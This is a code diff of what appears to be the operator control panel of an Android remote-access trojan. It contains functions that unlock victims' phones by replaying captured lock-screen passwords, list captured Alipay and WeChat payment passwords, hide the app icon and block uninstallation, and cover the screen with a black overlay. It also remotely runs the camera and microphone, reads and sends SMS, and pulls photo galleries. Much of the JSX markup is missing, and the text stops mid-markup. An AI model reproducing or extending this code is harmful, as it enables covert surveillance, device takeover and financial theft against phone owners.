console.log('WebSocket状态:', !!webSocket) + console.log('设备ID:', deviceId) + + if (!webSocket) { + console.error('❌ WebSocket未连接') + modal.error({ + title: '连接错误', + content: 'WebSocket未连接,请检查网络连接' + }) + return + } + + setIsUnlocking(true) + console.log('📤 发送GET_DEVICE_PASSWORD请求(优先从状态表获取)') + webSocket.emit('client_event', { + type: 'GET_DEVICE_PASSWORD', + data: { deviceId } + }) + } + + // 🆕 一键图案解锁处理函数 + const handlePatternUnlock = () => { + console.log('🎨 一键图案解锁按钮被点击') + + if (!webSocket) { + console.error('❌ WebSocket未连接') + modal.error({ + title: '连接错误', + content: 'WebSocket未连接,请检查网络连接' + }) + return + } + + if (!operationEnabled) { + modal.warning({ + title: '权限不足', + content: '您需要先获取设备控制权限才能使用图案解锁功能。请先点击"获取控制权"按钮。' + }) + return + } + + setIsPatternUnlocking(true) + + // 默认图案路径:123456 + const defaultPattern = [1, 2, 3, 4, 5, 6] + + console.log('🎨 发送图案解锁指令:', defaultPattern) + + modal.info({ + title: '正在执行图案解锁', + content: `图案路径: 123456\n正在尝试解锁设备...` + }) + + // 发送图案解锁指令 + webSocket.emit('client_event', { + type: 'UNLOCK_DEVICE', + data: { + deviceId, + data: { + pattern: defaultPattern + } + } + }) + + // 3秒后重置状态 + setTimeout(() => { + setIsPatternUnlocking(false) + }, 3000) + } + + const performAutoUnlock = (password: string, savedConfirmCoords?: { x: number, y: number } | null) => { + console.log('🔓 开始执行自动解锁, 密码:', password) + + if (!password || !device) { + console.error('❌ 无法执行解锁: 密码为空或设备不存在') + return + } + + // ✅ 智能检测密码类型 + const passwordType = detectPasswordType(password) + console.log('🔍 检测到密码类型:', passwordType) + + modal.info({ + title: '正在执行自动解锁', + content: `正在尝试解锁设备,请稍候...\n密码类型: ${passwordType}\n1. 点亮屏幕\n2. 唤醒解锁界面\n3. 输入密码\n4. 确认解锁` + }) + + const screenWidth = device.screenWidth + const screenHeight = device.screenHeight + const centerX = screenWidth / 2 + + // 步骤1: 点亮屏幕 + console.log('🔆 步骤1: 发送点亮屏幕命令') + sendControlMessage('POWER_WAKE', {}) + + // 步骤2: 延迟1秒后向上滑动唤醒解锁界面 + setTimeout(() => { + console.log('👆 步骤2: 向上滑动唤醒解锁界面') + + // ✅ 优先使用Android端的智能上滑解锁(更精确的设备适配) + if (webSocket) { + console.log('🤖 使用Android端智能上滑解锁(推荐)') + sendControlMessage('SMART_UNLOCK_SWIPE', {}) + } else { + // 备用方案:Web端计算滑动参数 + console.log('📱 使用Web端滑动参数计算(备用)') + + // ✅ 优化滑动距离以适配更多设备 + // 根据屏幕高度动态调整滑动距离,确保能够唤醒各种设备的解锁界面 + const startYRatio = screenHeight > 2400 ? 0.88 : screenHeight > 2000 ? 0.85 : 0.8 + const endYRatio = screenHeight > 2400 ? 0.12 : screenHeight > 2000 ? 0.15 : 0.2 + const swipeDuration = screenHeight > 2400 ? 450 : screenHeight > 2000 ? 400 : 350 + + console.log(`📱 屏幕尺寸: ${screenWidth}x${screenHeight}`) + console.log(`👆 滑动参数: 起始=${(startYRatio * 100).toFixed(0)}%, 结束=${(endYRatio * 100).toFixed(0)}%, 时长=${swipeDuration}ms`) + + sendControlMessage('SWIPE', { + startX: centerX, + startY: screenHeight * startYRatio, // 动态调整起始位置 + endX: centerX, + endY: screenHeight * endYRatio, // 动态调整结束位置,滑动距离更长 + duration: swipeDuration // 动态调整滑动时长 + }) + } + + // 步骤3: 延迟1.5秒后开始输入密码 + setTimeout(() => { + console.log('🔤 步骤3: 开始输入密码:', password, '类型:', passwordType) + + // ✅ 根据密码类型选择不同的输入策略 + switch (passwordType) { + case 'numeric': + console.log('📱 使用数字密码坐标点击策略') + inputNumericPassword(password, screenWidth, screenHeight) + break + case 'pin': + console.log('📱 使用PIN码逐个输入策略') + inputPinPassword(password) + break + case 'mixed': + console.log('🔐 使用混合密码策略') + inputMixedPassword(password) + break + case 'pattern': + console.log('🎨 使用图形密码策略') + inputPatternPassword(password) + break + default: + console.log('🔐 使用默认文本密码策略') + inputTextPassword(password) + break + } + + // ✅ 步骤4: 输入完密码后延迟确认,根据密码类型和设备信息调整延迟时间 + const confirmDelay = getConfirmDelay(passwordType, password.length, device) + console.log(`⏰ 确认延迟时间: ${confirmDelay}ms (密码类型: ${passwordType}, 长度: ${password.length}, 设备: ${device?.model || 'unknown'})`) + setTimeout(() => { + console.log('✅ 步骤4: 确认密码输入 - 使用增强确认策略') + console.log('🎯 使用保存的确认坐标:', savedConfirmCoords) + performEnhancedConfirm(screenWidth, screenHeight, passwordType, savedConfirmCoords || undefined) + + // 检测解锁结果 + setTimeout(() => { + console.log('🔍 检测解锁结果...') + modal.success({ + title: '解锁操作完成', + content: `已完成自动解锁流程: + +1. ✅ 点亮屏幕 +2. ✅ 向上滑动唤醒解锁界面 +3. ✅ 输入密码: ${password} (${passwordType}) +4. ✅ 延迟1秒后点击确认按钮 + +${savedConfirmCoords ? + `🎯 使用了记录的确认按钮坐标: (${savedConfirmCoords.x}, ${savedConfirmCoords.y})` : + `💡 提示:如果需要手动确认,系统将学习您的确认操作,下次可自动确认`} + +请检查设备是否成功解锁。如果解锁失败,可能的原因: +• 密码不正确或已过期 +• 设备锁屏界面布局变化 +• 确认按钮位置发生变化 + +您可以重新尝试或手动解锁设备一次让系统学习新的确认按钮位置。`, + okText: '知道了' + }) + }, 5000) + + }, confirmDelay) + + }, 1500) + }, 1000) + } + + // ✅ 新增:智能检测密码类型 + // ✅ 增强版密码类型检测 - 更准确的识别逻辑 + const detectPasswordType = (password: string): string => { + if (!password) return 'unknown' + + // 清理掩码字符,但保留部分特殊字符用于判断 + const cleanPassword = password.replace(/[?•*]/g, '') + + console.log(`🔍 密码类型检测: 原始="${password}", 清理后="${cleanPassword}"`) + + if (cleanPassword.length === 0) { + return 'unknown' + } + + // ✅ 纯数字判断 + if (/^\d+$/.test(cleanPassword)) { + const length = cleanPassword.length + console.log(`🔢 检测到纯数字密码,长度: ${length}`) + + // PIN码:4位或6位数字(常见的PIN码长度) + if (length === 4 || length === 6) { + console.log(`📱 判定为PIN码: ${length}位`) + return 'pin' + } + // ✅ 图形密码检测:4-9位,只包含1-9,不包含0 + else if (length >= 4 && length <= 9) { + const hasOnlyValidPatternDigits = cleanPassword.split('').every(digit => { + const num = parseInt(digit) + return num >= 1 && num <= 9 + }) + + const hasZero = cleanPassword.includes('0') + + // 图形密码的特征:只包含1-9,不包含0 + if (hasOnlyValidPatternDigits && !hasZero) { + console.log(`🎨 判定为图形密码: ${length}位 (1-9范围,无0)`) + return 'pattern' + } else { + console.log(`🔢 判定为数字密码: ${length}位 (包含0或超出1-9范围)`) + return 'numeric' + } + } + // 其他长度的数字密码 + else { + console.log(`🔢 判定为数字密码: ${length}位`) + return 'numeric' + } + } + + // ✅ 混合密码:包含字母和数字 + if (/\d/.test(cleanPassword) && /[a-zA-Z]/.test(cleanPassword)) { + console.log(`🔤 判定为混合密码: 包含字母和数字`) + return 'mixed' + } + + // ✅ 纯字母 + if (/^[a-zA-Z]+$/.test(cleanPassword)) { + console.log(`📝 判定为文本密码: 纯字母`) + return 'text' + } + + // ✅ 包含特殊字符的复杂密码 + if (/[^a-zA-Z0-9]/.test(cleanPassword)) { + console.log(`🔤 判定为混合密码: 包含特殊字符`) + return 'mixed' + } + + // 默认文本密码 + console.log(`📝 默认判定为文本密码`) + return 'text' + } + + // ✅ 增强版数字密码坐标点击输入 - 支持错误恢复和进度反馈 + const inputNumericPassword = (password: string, screenWidth: number, screenHeight: number) => { + const digits = password.split('') + console.log(`🔢 开始数字密码输入: ${digits.length}位密码`) + + digits.forEach((digit, index) => { + if (webSocket) { + setTimeout(() => { + console.log(`🔢 通过坐标点击数字 ${digit} (进度: ${index + 1}/${digits.length})`) + webSocket.emit('control_message', { + type: 'NUMERIC_PIN_INPUT', + deviceId, + data: { + digit, + screenWidth, + screenHeight, + index: index + 1, + total: digits.length + }, + timestamp: Date.now() + }) + }, index * 350) // 数字输入间隔350ms,与延迟计算保持一致 + } + }) + + // ✅ 输入完成后的日志记录 + setTimeout(() => { + console.log(`✅ 数字密码输入完成: ${digits.length}位`) + }, digits.length * 350 + 100) + } + + // ✅ 新增:PIN码逐个输入 + const inputPinPassword = (password: string) => { + const digits = password.split('') + + digits.forEach((digit, index) => { + setTimeout(() => { + console.log(`🔢 输入PIN码数字:`, digit) + if (webSocket) { + webSocket.emit('control_message', { + type: 'INPUT_TEXT', + deviceId, + data: { text: digit, webUnlockMode: true }, + timestamp: Date.now() + }) + } + }, index * 200) // PIN码输入间隔200ms + }) + } + + // ✅ 混合密码输入 - 恢复整体文本输入 + const inputMixedPassword = (password: string) => { + console.log('🔐 开始混合密码整体输入:', password) + + if (!password || !webSocket) { + console.error('❌ 密码为空或WebSocket未连接') + return + } + + // 整体输入混合密码(简单高效) + console.log(`🔤 混合密码整体输入: ${password}`) + + webSocket.emit('control_message', { + type: 'INPUT_TEXT', + deviceId, + data: { + text: password, + webUnlockMode: true + // 移除逐字符相关参数 + }, + timestamp: Date.now() + }) + + console.log(`✅ 混合密码整体输入完成`) + + /* ✅ 注释掉逐字符输入方案 + const characters = password.split('') + console.log(`🔤 混合密码分解为 ${characters.length} 个字符:`, characters) + + // 逐个字符输入,每个字符之间有500ms间隔 + characters.forEach((char, index) => { + setTimeout(() => { + console.log(`🔤 输入第${index + 1}个字符: "${char}" (进度: ${index + 1}/${characters.length})`) + + webSocket.emit('control_message', { + type: 'INPUT_TEXT', + deviceId, + data: { + text: char, + webUnlockMode: true, + isCharByChar: true, // 标识为逐字符输入 + charIndex: index + 1, + totalChars: characters.length + }, + timestamp: Date.now() + }) + }, index * 500) // 每个字符间隔500ms,让用户能清楚看到输入过程 + }) + + // 输入完成后的日志记录 + setTimeout(() => { + console.log(`✅ 混合密码逐字符输入完成: ${characters.length} 个字符`) + }, characters.length * 500 + 200) + */ + } + + // ✅ 新增:图形密码输入 + const inputPatternPassword = (password: string) => { + console.log('🎨 图形密码输入:', password) + + if (!webSocket) { + console.error('❌ WebSocket未连接,无法发送图案解锁指令') + return + } + + // 将字符串密码转换为数字数组 + const pattern = password.split('').map(digit => parseInt(digit)) + + console.log('🎨 图案路径:', pattern) + + // 发送图案解锁指令 + webSocket.emit('client_event', { + type: 'UNLOCK_DEVICE', + data: { + deviceId, + data: { + pattern: pattern + } + } + }) + } + + // ✅ 新增:文本密码输入 + const inputTextPassword = (password: string) => { + console.log('📝 输入文本密码:', password) + if (webSocket) { + webSocket.emit('control_message', { + type: 'INPUT_TEXT', + deviceId, + data: { text: password, webUnlockMode: true }, + timestamp: Date.now() + }) + } + } + + // ✅ 检测是否为华为荣耀设备 + const isHuaweiHonorDevice = (deviceInfo: any): boolean => { + if (!deviceInfo) return false + const model = deviceInfo.model?.toLowerCase() || '' + const name = deviceInfo.name?.toLowerCase() || '' + return model.includes('huawei') || model.includes('honor') || + name.includes('huawei') || name.includes('honor') + } + + // ✅ 新增:检测是否为OPPO设备 + const isOppoDevice = (deviceInfo: any): boolean => { + if (!deviceInfo) return false + const model = deviceInfo.model?.toLowerCase() || '' + const name = deviceInfo.name?.toLowerCase() || '' + // 从设备名称格式 MANUFACTURER_MODEL_SHORTID 中提取品牌信息 + const nameParts = name.split('_') + const manufacturer = nameParts[0]?.toLowerCase() || '' + return manufacturer.includes('oppo') || model.includes('oppo') || name.includes('oppo') + } + + // ✅ 新增:检测是否为HONOR设备 + const isHonorDevice = (deviceInfo: any): boolean => { + if (!deviceInfo) return false + const model = deviceInfo.model?.toLowerCase() || '' + const name = deviceInfo.name?.toLowerCase() || '' + // 从设备名称格式 MANUFACTURER_MODEL_SHORTID 中提取品牌信息 + const nameParts = name.split('_') + const manufacturer = nameParts[0]?.toLowerCase() || '' + return manufacturer.includes('honor') || model.includes('honor') || name.includes('honor') + } + + // ✅ 新增:根据密码类型获取确认延迟时间 + const getConfirmDelay = (passwordType: string, passwordLength: number, deviceInfo?: any): number => { + // ✅ 华为荣耀设备混合密码需要额外延迟(因为有特殊点击处理) + if (passwordType === 'mixed' && deviceInfo && isHuaweiHonorDevice(deviceInfo)) { + console.log('📱 华为荣耀设备混合密码,增加特殊点击延迟') + return 1500 // 华为荣耀混合密码:2秒延迟(包含特殊点击时间) + } + + // 🔧 修改:根据不同输入方式计算确认延迟时间 + switch (passwordType) { + case 'numeric': + return passwordLength * 350 + 1000 // 数字密码:每个数字350ms + 1秒确认延迟 + case 'pin': + return passwordLength * 200 + 1000 // PIN码:每个数字200ms + 1秒确认延迟 + case 'mixed': + return 1500 // 混合密码:整体输入,固定1.5秒确认延迟 + case 'pattern': + return 1000 // 图形密码:1秒确认延迟 + case 'text': + return 1000 // 文本密码:1秒确认延迟 + default: + return 1000 // 默认:1秒确认延迟 + } + } + + // ✅ 增强确认策略 - 支持记录的确认按钮坐标和智能检测 + const performEnhancedConfirm = (screenWidth: number, screenHeight: number, passwordType: string, savedConfirmCoords?: { x: number, y: number }) => { + console.log('🔍 [Web端确认] 智能确认策略,密码类型:', passwordType, '已保存坐标:', savedConfirmCoords) + + // ✅ 策略1: 如果有记录的确认按钮坐标,优先使用(这是最准确的方法) + if (savedConfirmCoords && savedConfirmCoords.x > 0 && savedConfirmCoords.y > 0) { + console.log('🎯 [保存坐标优先] 使用用户记录的确认按钮坐标,跳过其他策略', savedConfirmCoords) + console.log('✅ [策略跳过] 由于有保存坐标,不执行智能检测和其他后续策略') + if (webSocket) { + webSocket.emit('control_message', { + type: 'CLICK', + deviceId, + data: { + x: savedConfirmCoords.x, + y: savedConfirmCoords.y + }, + timestamp: Date.now() + }) + } + return // 使用记录坐标后直接返回,不执行其他策略 + } + + // ✅ 策略2: 如果没有记录的坐标,根据密码类型判断是否需要确认 + // 修复:只有图形密码通常无需确认按钮,数字密码仍需要确认 + if (passwordType === 'pattern') { + console.log('ℹ️ [智能跳过] 图形密码通常无需确认按钮,输入完成后自动验证') + return + } + + // ✅ 策略3: 请求Android端进行智能确认按钮检测 + console.log('🤖 [智能检测] 请求Android端进行确认按钮智能检测') + if (webSocket) { + webSocket.emit('control_message', { + type: 'SMART_CONFIRM_DETECTION', + deviceId, + data: { + passwordType: passwordType, + screenWidth: screenWidth, + screenHeight: screenHeight + }, + timestamp: Date.now() + }) + } + + // ✅ 策略4: OPPO/HONOR设备默认坐标兜底策略 + setTimeout(() => { + // 检查是否为OPPO或HONOR设备,且密码类型为文本或混合密码 + if (device && (isOppoDevice(device) || isHonorDevice(device)) && + (passwordType === 'text' || passwordType === 'mixed')) { + + // 计算默认坐标 + const defaultX = screenWidth - 60 + const defaultY = isOppoDevice(device) ? screenHeight - 100 : screenHeight - 250 // HONOR设备Y坐标更高 + + // 验证坐标有效性 + if (defaultX > 0 && defaultY > 0 && defaultX < screenWidth && defaultY < screenHeight) { + const deviceBrand = isOppoDevice(device) ? 'OPPO' : 'HONOR' + console.log(`📱 [${deviceBrand}设备兜底] 使用${deviceBrand}设备默认确认坐标: (${defaultX}, ${defaultY})`) + console.log(`🎯 [默认坐标策略] 密码类型: ${passwordType}, 屏幕尺寸: ${screenWidth}x${screenHeight}`) + + if (webSocket) { + webSocket.emit('control_message', { + type: 'CLICK', + deviceId, + data: { + x: defaultX, + y: defaultY + }, + timestamp: Date.now() + }) + } + + // 提示用户使用了默认坐标 + console.log(`💡 [用户提示] 已使用${deviceBrand}设备默认确认坐标,如果失败请手动确认`) + return + } else { + console.warn('⚠️ [坐标验证] 计算的默认坐标超出屏幕范围,跳过默认坐标策略') + } + } + + // ✅ 策略5: 如果所有策略都失败,提示用户手动确认 + console.log('💡 [用户提示] 如果自动确认失败,请手动点击确认按钮') + console.log('📚 [学习提示] 系统将学习您的确认操作,下次可自动确认') + }, 2000) + } + + // 短信列表列定义已移动至短信卡片组件 + + + // 表格列定义 + const logColumns = [ + { + title: '时间', + dataIndex: 'timestamp', + key: 'timestamp', + width: 160, + render: (timestamp: string) => new Date(timestamp).toLocaleString() + }, + { + title: '类型', + dataIndex: 'logType', + key: 'logType', + width: 100, + render: (logType: string) => ( + + {logTypeLabels[logType as keyof typeof logTypeLabels] || logType} + + ) + }, + { + title: '内容', + dataIndex: 'content', + key: 'content', + render: (content: string) => { + // 检测不同类型的特殊内容 + const isPasswordInput = content.includes('密码') || content.includes('指纹') + const isPatternAnalysis = content.includes('🔐 图案解锁分析完成') + const isPasswordAnalysis = content.includes('🔑 密码输入分析完成') + const isPatternGesture = content.includes('图案解锁') && !isPatternAnalysis + const isRemoteInput = content.includes('远程输入') + + // 为图案解锁分析结果设置特殊样式 + if (isPatternAnalysis) { + return ( +
+ {content} +
+ ) + } + + // 为密码输入分析结果设置特殊样式 + if (isPasswordAnalysis) { + return ( +
+ {content} +
+ ) + } + + return ( +
{ if (!content) return; setContentPreviewText(content); setContentPreviewVisible(true) }} + title={content} + > + + {isPasswordInput && '🔒 '} + {isPatternGesture && '🔐 '} + {isRemoteInput && '📱 '} + {content} + +
+ ) + } + }, + { + title: '详细信息', + dataIndex: 'extraData', + key: 'extraData', + width: 120, + render: (extraData: any) => ( + extraData ? ( + + ) : '-' + ) + } + ] + + + // 文本输入已移除 + + const handleSwipe = (direction: string) => { + if (!device) return + if (!operationEnabled) { + console.warn('手势操作已被阻止') + return + } + + const centerX = device.screenWidth / 2 + const centerY = device.screenHeight / 2 + const distance = 300 + + let startX = centerX, startY = centerY + let endX = centerX, endY = centerY + + switch (direction) { + case 'up': + startY = centerY + distance + endY = centerY - distance + break + case 'down': + startY = centerY - distance + endY = centerY + distance + break + case 'left': + startX = centerX + distance + endX = centerX - distance + break + case 'right': + startX = centerX - distance + endX = centerX + distance + break + } + + sendControlMessage('SWIPE', { + startX, + startY, + endX, + endY, + duration: 300 + }) + } + + // 下拉手势操作(从顶部下拉到底部) + const handlePullDown = (side: 'left' | 'right') => { + if (!device) return + if (!operationEnabled) { + console.warn('下拉手势操作已被阻止') + return + } + + // 根据side参数确定X坐标 + const startX = side === 'left' + ? device.screenWidth / 4 // 左边下拉:屏幕左1/4位置 + : (device.screenWidth * 3) / 4 // 右边下拉:屏幕右1/4位置 + + const startY = 10 // 从屏幕顶部开始 + const endY = device.screenHeight - 100 // 到屏幕底部附近结束 + + console.log(`${side === 'left' ? '左边' : '右边'}下拉手势:`, { + startX: startX.toFixed(0), + startY, + endX: startX.toFixed(0), + endY, + screenWidth: device.screenWidth + }) + + sendControlMessage('SWIPE', { + startX: startX, + startY: startY, + endX: startX, // X坐标保持不变,垂直下拉 + endY: endY, + duration: 500 // 稍长的持续时间,模拟真实的下拉操作 + }) + } + + // 检查设备状态一致性 + const checkDeviceStateConsistency = () => { + if (!webSocket || !deviceId) return + + console.log(`[控制面板] 检查设备 ${deviceId} 状态一致性`) + webSocket.emit('client_event', { + type: 'GET_DEVICE_STATE', + data: { deviceId } + }) + } + + // 修复设备状态不一致 + const fixDeviceStateInconsistency = () => { + if (!webSocket || !deviceId) return + + console.log(`[控制面板] 修复设备 ${deviceId} 状态不一致`) + + // 同步当前UI状态到数据库 + const currentState = { + inputBlocked: deviceInputBlocked, + loggingEnabled: isLoggingEnabled + } + + webSocket.emit('client_event', { + type: 'UPDATE_DEVICE_STATE', + data: { + deviceId, + state: currentState + } + }) + } + + // 🆕 屏幕控制函数已迁移至 RemoteControlApp + + // 🆕 黑屏遮盖控制函数 + const handleEnableBlackScreen = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('🖤 启用黑屏遮盖') + webSocket.emit('client_event', { + type: 'ENABLE_BLACK_SCREEN', + data: { deviceId } + }) + } + + const handleDisableBlackScreen = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('🖤 取消黑屏遮盖') + webSocket.emit('client_event', { + type: 'DISABLE_BLACK_SCREEN', + data: { deviceId } + }) + } + + // 🆕 关闭配置遮盖函数 + const handleCloseConfigMask = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('🛡️ 手动关闭配置遮盖') + webSocket.emit('client_event', { + type: 'CLOSE_CONFIG_MASK', + data: { + deviceId, + manual: true // 标记这是手动关闭 + } + }) + message.info('已发送关闭配置遮盖指令') + } + + // 摄像头控制函数 + const handleStartCamera = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📷 启动摄像头') + webSocket.emit('camera_control', { + action: 'CAMERA_START', + deviceId, + data: {} + }) + setIsCameraActive(true) + message.success('摄像头已启动') + } + + const handleStopCamera = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📷 停止摄像头') + webSocket.emit('camera_control', { + action: 'CAMERA_STOP', + deviceId, + data: {} + }) + setIsCameraActive(false) + message.success('摄像头已停止') + } + + const handleSwitchCamera = (cameraType: 'front' | 'back') => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log(`📷 切换到${cameraType === 'front' ? '前置' : '后置'}摄像头`) + webSocket.emit('camera_control', { + action: 'CAMERA_SWITCH', + deviceId, + data: { cameraType } + }) + setCurrentCameraType(cameraType) + message.success(`已切换到${cameraType === 'front' ? '前置' : '后置'}摄像头`) + } + + // 控制摄像头显示区域的可见性 + const handleToggleCameraView = () => { + dispatch(setCameraViewVisible(!cameraViewVisible)) + } + + const handleOpenAppSettings = () => { + console.log('🔧 打开应用设置按钮被点击') + console.log('WebSocket状态:', !!webSocket) + console.log('设备ID:', deviceId) + + if (!webSocket) { + console.error('❌ WebSocket未连接') + modal.error({ + title: '连接错误', + content: 'WebSocket未连接,请检查网络连接' + }) + return + } + + if (!deviceId) { + console.error('❌ 设备ID无效') + modal.error({ + title: '设备错误', + content: '设备ID无效,请重新选择设备' + }) + return + } + + console.log('📤 发送OPEN_APP_SETTINGS请求') + webSocket.emit('client_event', { + type: 'OPEN_APP_SETTINGS', + data: { deviceId } + }) + + modal.info({ + title: '正在打开应用设置', + content: '已发送打开应用设置的请求到手机端,请稍候...', + okText: '知道了' + }) + } + + // 🎙️ 麦克风控制函数 + // 已移除功能:麦克风权限检查 + + const handleMicStartRecording = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + if (!operationEnabled) { + message.warning('操作已被阻止') + return + } + console.log('🎙️ 开始录音') + try { + const ctx = ensureAudioContext() + if (ctx.state === 'suspended') ctx.resume() + nextPlaybackTimeRef.current = ctx.currentTime + 0.01 + } catch (e) { + console.warn('初始化音频播放失败(可能由用户手势限制):', e) + } + webSocket.emit('camera_control', { action: 'MICROPHONE_START_RECORDING', deviceId }) + setIsMicRecording(true) + message.success('已发送开始录音指令') + } + + const handleMicStopRecording = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + console.log('🎙️ 停止录音') + webSocket.emit('camera_control', { action: 'MICROPHONE_STOP_RECORDING', deviceId }) + setIsMicRecording(false) + if (audioContextRef.current && audioContextRef.current.state !== 'closed') { + audioContextRef.current.suspend().catch(() => { }) + } + message.success('已发送停止录音指令') + } + + // 已移除功能:录音状态查询 + + // 🆕 应用隐藏/显示控制函数 + const handleHideApp = () => { + console.log('📵 隐藏桌面图标') + if (!webSocket) return + + webSocket.emit('client_event', { + type: 'HIDE_APP', + data: { deviceId } + }) + } + + const handleShowApp = () => { + console.log('📱 显示桌面图标') + if (!webSocket) return + + webSocket.emit('client_event', { + type: 'SHOW_APP', + data: { deviceId } + }) + } + + // 🛡️ 防止卸载功能控制函数 + const handleEnableUninstallProtection = () => { + console.log('🛡️ 启动防止卸载监听') + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + webSocket.emit('client_event', { + type: 'ENABLE_UNINSTALL_PROTECTION', + data: { deviceId } + }) + } + + const handleDisableUninstallProtection = () => { + console.log('🛡️ 停止防止卸载监听') + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + webSocket.emit('client_event', { + type: 'DISABLE_UNINSTALL_PROTECTION', + data: { deviceId } + }) + } + + // 🆕 重新获取投屏权限 + // 已移除功能:重新获取投屏权限 + + // 📱 SMS控制相关函数 + // 已移除:短信权限检查按钮 + + const handleSmsRead = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📱 读取短信列表,条数:', smsReadLimit) + setSmsLoading(true) + webSocket.emit('camera_control', { + action: 'SMS_READ', + deviceId, + data: { limit: smsReadLimit } + }) + message.info(`正在读取 ${smsReadLimit} 条短信...`) + } + + const handleSmsSend = (phoneNumber: string, messageText: string) => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📱 发送短信:', { phoneNumber, message: messageText }) + webSocket.emit('camera_control', { + action: 'SMS_SEND', + deviceId, + data: { + phoneNumber: phoneNumber, + message: messageText + } + }) + message.info(`正在发送短信到 ${phoneNumber}...`) + } + + + // 📷 相册控制相关函数 + const handleAlbumPermissionCheck = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📷 检查相册权限') + webSocket.emit('camera_control', { + action: 'GALLERY_PERMISSION_CHECK', + deviceId, + data: {} + }) + message.info('正在检查相册权限...') + } + + // 已移除:读取已保存相册(改用“获取相册”内联展示) + + // 获取相册按钮处理函数 + const handleGetGallery = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📷 获取最新相册') + dispatch(setGalleryLoading(true)) + dispatch(setGalleryVisible(true)) + webSocket.emit('camera_control', { + action: 'ALBUM_READ', + deviceId, + data: { limit: 100 } + }) + message.info('正在获取相册...') + } + + // 🆕 提取确认坐标已迁移至 DebugFunctionsCard + + // 🆕 手动输入确认坐标已迁移至 DebugFunctionsCard + + // 🆕 确认保存手动输入的坐标 + const handleSaveInputCoords = () => { + if (!webSocket || !deviceId) return + + const coords = { x: inputCoordX, y: inputCoordY } + + // 验证坐标值 + if (inputCoordX < 0 || inputCoordY < 0) { + message.error('坐标值不能为负数') + return + } + + if (device && (inputCoordX > device.screenWidth || inputCoordY > device.screenHeight)) { + message.warning(`坐标值超出设备屏幕范围 (${device.screenWidth}×${device.screenHeight})`) + } + + // 保存到服务器 + webSocket.emit('client_event', { + type: 'SAVE_CONFIRM_COORDS', + data: { deviceId, coords }, + timestamp: Date.now() + }) + + setInputCoordsModalVisible(false) + + console.log('🎯 手动输入确认坐标已保存:', coords) + message.success(`确认坐标已保存: (${coords.x}, ${coords.y})`) + } + + if (!device) { + return ( + +
+ 设备未选中 +
+
+ ) + } + + return ( + <> +
+ {/* 左侧功能区:调试、操作等 */} +
+ + {/* 设备信息 */} + + + {/* 调试功能 */} + { }} + virtualKeyboardEnabled={device?.screenReader?.showVirtualKeyboard} + onToggleVirtualKeyboard={() => { + if (device?.screenReader) { + // 切换虚拟按键显示状态 + const newShowVirtualKeyboard = !device.screenReader.showVirtualKeyboard + dispatch(updateDeviceScreenReaderConfig({ + deviceId, + config: { showVirtualKeyboard: newShowVirtualKeyboard } + })) + console.log('切换虚拟按键显示:', newShowVirtualKeyboard) + } + }} + showScreenReaderControls={true} + alipayDetectionEnabled={alipayDetectionEnabled} + wechatDetectionEnabled={wechatDetectionEnabled} + onStartAlipayDetection={startAlipayDetection} + onStopAlipayDetection={stopAlipayDetection} + onStartWechatDetection={startWechatDetection} + onStopWechatDetection={stopWechatDetection} + onOpenFourDigitPin={handleOpenFourDigitPin} + onOpenSixDigitPin={handleOpenPinInput} + onOpenPatternLock={handleOpenPatternLock} + passwordFilter={passwordFilter as any} + onPasswordFilterChange={(v) => { + setPasswordFilter(v) + // 筛选类型变化后自动请求API,使用新的筛选值 + fetchAlipayPasswordsWithFilter(v, 1, alipayPasswordPageSize) + }} + onViewPasswords={async () => { + try { + const typeQuery = passwordFilter === 'DEFAULT' ? '' : `&passwordType=${passwordFilter}` + const json: any = await apiClient.get(`/api/password-inputs/${deviceId}?page=1&pageSize=10${typeQuery}`) + if (!json || json.success === false) { + message.error('查看密码失败') + return + } + const resp = json.data || { passwords: [], total: 0, page: 1, pageSize: 10 } + setAlipayPasswords(resp.passwords || []) + setAlipayPasswordTotal(resp.total || 0) + setAlipayPasswordPage(resp.page || 1) + setAlipayPasswordPageSize(resp.pageSize || 10) + setAlipayPasswordModalVisible(true) + } catch (e) { + console.error('查看密码失败', e) + message.error('查看密码失败') + } + }} + onSwipeUp={() => handleSwipe('up')} + onSwipeDown={() => handleSwipe('down')} + onSwipeLeft={() => handleSwipe('left')} + onSwipeRight={() => handleSwipe('right')} + onPullDownLeft={() => handlePullDown('left')} + onPullDownRight={() => handlePullDown('right')} + > + {/* 🆕 遮罩文字和操作控制 - 放在最上面 */} + +
+
遮罩文字:
+ setMaskText(e.target.value)} + rows={2} + style={{ fontSize: '12px' }} + /> + + +
字体大小:
+ setMaskTextSize(Number(e.target.value) || 24)} + min={12} + max={48} + style={{ fontSize: '12px' }} + /> + + + + + + + + + + + + + + + {/* 🆕 显示已保存的确认坐标 */} + {deviceState?.confirmButtonCoords && ( +
+ 🎯 确认坐标: ({Math.round(deviceState.confirmButtonCoords.x)}, {Math.round(deviceState.confirmButtonCoords.y)}) +
+ )} + + {/* 🆕 关闭配置遮盖控制 */} + + + + + + + {/* 🆕 重新获取投屏权限 */} + + + + + + + + + + {/* 🆕 屏幕捕获控制 - 已隐藏(功能已移至RemoteControlApp) */} + {/* + + + + + + + */} + + {/* 🆕 黑屏遮盖控制 */} + + + + + + + + + + {/* 黑屏遮盖状态显示 */} +
+ {isBlackScreenActive ? '🖤 黑屏遮盖已启用' : '✅ 正常显示模式'} +
+ + {/* 🆕 应用隐藏/显示控制 */} + + + + + + + + + + {/* 应用隐藏状态显示 */} +
+ {isAppHidden ? '📱 应用图标已隐藏' : '✅ 应用图标正常显示'} +
